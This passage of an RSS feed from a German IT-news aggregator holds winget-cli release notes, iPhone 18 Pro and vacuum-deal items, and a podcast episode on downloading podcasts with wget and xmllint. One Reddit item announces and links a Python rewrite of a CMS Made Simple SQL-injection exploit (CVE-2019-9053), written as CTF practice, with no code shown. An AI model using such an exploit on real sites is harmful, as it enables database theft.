<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.70-preview"><tt>v1.29.240...v1.30.70-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 18 Pro Enters Mass Production, Apple Prepares for September Launch]]></title>
<description><![CDATA[Apple’s iPhone 18 Pro and iPhone 18 Pro Max have entered mass production as Foxconn increases hiring ahead of the expected September launch. The update suggests Apple has moved into the production ramp-up stage, with its assembly partner raising hourly pay and rehire bonuses to attract workers.

...]]></description>
<link>https://tsecurity.de/de/3687322/ios-mac-os/iphone-18-pro-enters-mass-production-apple-prepares-for-september-launch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687322/ios-mac-os/iphone-18-pro-enters-mass-production-apple-prepares-for-september-launch/</guid>
<pubDate>Wed, 22 Jul 2026 20:38:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s iPhone 18 Pro and iPhone 18 Pro Max have entered mass production as Foxconn increases hiring ahead of the expected September launch. The update suggests Apple has moved into the production ramp-up stage, with its assembly partner raising hourly pay and rehire bonuses to attract workers.



The Standard reports that Foxconn has started its busiest recruitment period as factories prepare for large-scale assembly and inventory building. At the Zhengzhou site, hourly wages have reached 27 yuan, while returning workers can receive bonuses of up to 7,500 yuan.




“Foxconn, Apple’s primary contract manufacturer, has entered its peak recruitment season as the iPhone 18 series enters mass production and ramps up capacity,” The Standard reported, citing supply chain sources quoted by mainland media.




iPhone 18 Pro upgrades expected this year



The iPhone 18 Pro is expected to feature a smaller Dynamic Island, reducing the cutout width from 20.76mm to 13.49mm. That change would cut the occupied area by about 35% and increase the screen-to-body ratio to roughly 94.7%, giving users more display space during games and video playback.



Apple is also expected to add the A20 Pro chip and a new main camera with variable aperture technology, which adjusts light intake based on shooting conditions. Reports also suggest the new model will be thicker and heavier, while Apple may again avoid black and dark gray colour options.



Apple is reportedly planning a staggered launch, with the Pro models arriving in September and the standard iPhone 18 following next year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Save $400 Off This Eufy E25 Robot Vacuum and Mop, and Never Clean Your Own Floor Again]]></title>
<description><![CDATA[This two-in-one vacuum and mop is down to $600, but probably not for long.]]></description>
<link>https://tsecurity.de/de/3687235/it-nachrichten/save-400-off-this-eufy-e25-robot-vacuum-and-mop-and-never-clean-your-own-floor-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687235/it-nachrichten/save-400-off-this-eufy-e25-robot-vacuum-and-mop-and-never-clean-your-own-floor-again/</guid>
<pubDate>Wed, 22 Jul 2026 20:18:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This two-in-one vacuum and mop is down to $600, but probably not for long.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2019-9053 exploit rewritten in Python 3 as a personal practice project]]></title>
<description><![CDATA[Hello everyone! I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple). I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Py...]]></description>
<link>https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:30 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone!</p> <p>I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).</p> <p>I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).</p> <p>Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.</p> <p><a href="https://github.com/rgkue/mysqli">https://github.com/rgkue/mysqli</a></p> <p>Happy hacking! :D</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/rgkue"> /u/rgkue </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
